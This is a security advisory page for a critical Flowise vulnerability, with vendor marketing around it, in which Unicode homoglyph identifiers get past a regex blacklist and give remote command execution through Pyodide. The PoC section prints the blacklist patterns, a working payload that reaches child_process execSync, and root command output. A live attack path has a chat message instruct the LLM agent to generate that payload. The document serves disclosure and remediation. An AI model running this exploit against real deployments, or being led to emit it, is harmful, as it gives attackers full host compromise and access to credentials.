CVE-2026-70470

CVE-2026-70470 is a critical-severity security vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details

packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:

{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules

Two design flaws combine into a bypass:

  1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \b__class__\b never matches __cl𝐚ss__.
  2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, __b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.

Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.

From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.

Affected call sites:

  • packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209.
  • packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.

The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC

Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:

// npm install pyodide
const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g }, { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
})()

Run output on a stock host:

validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED

Live path against a Flowise deployment:

  1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
  2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for __class__, __subclasses__, __base__, and __builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.
  3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.

Impact

Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

Affected versions

flowise (<= 3.1.2) flowise-components (<= 3.1.2)

Security releases

flowise → 3.1.3 (npm) flowise-components → 3.1.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

flowise to 3.1.3 or later; flowise-components to 3.1.3 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-70470? CVE-2026-70470 is a critical-severity security vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.
  2. Which packages are affected by CVE-2026-70470?
    • flowise (npm) (versions <= 3.1.2)
    • flowise-components (npm) (versions <= 3.1.2)
  3. Is there a fix for CVE-2026-70470? Yes. CVE-2026-70470 is fixed in 3.1.3. Upgrade to this version or later.
  4. Is CVE-2026-70470 exploitable, and should I be worried? Whether CVE-2026-70470 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-70470 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-70470?
    • Upgrade flowise to 3.1.3 or later
    • Upgrade flowise-components to 3.1.3 or later

Other vulnerabilities in flowise

Stop the waste.
Protect your environment with Kodem.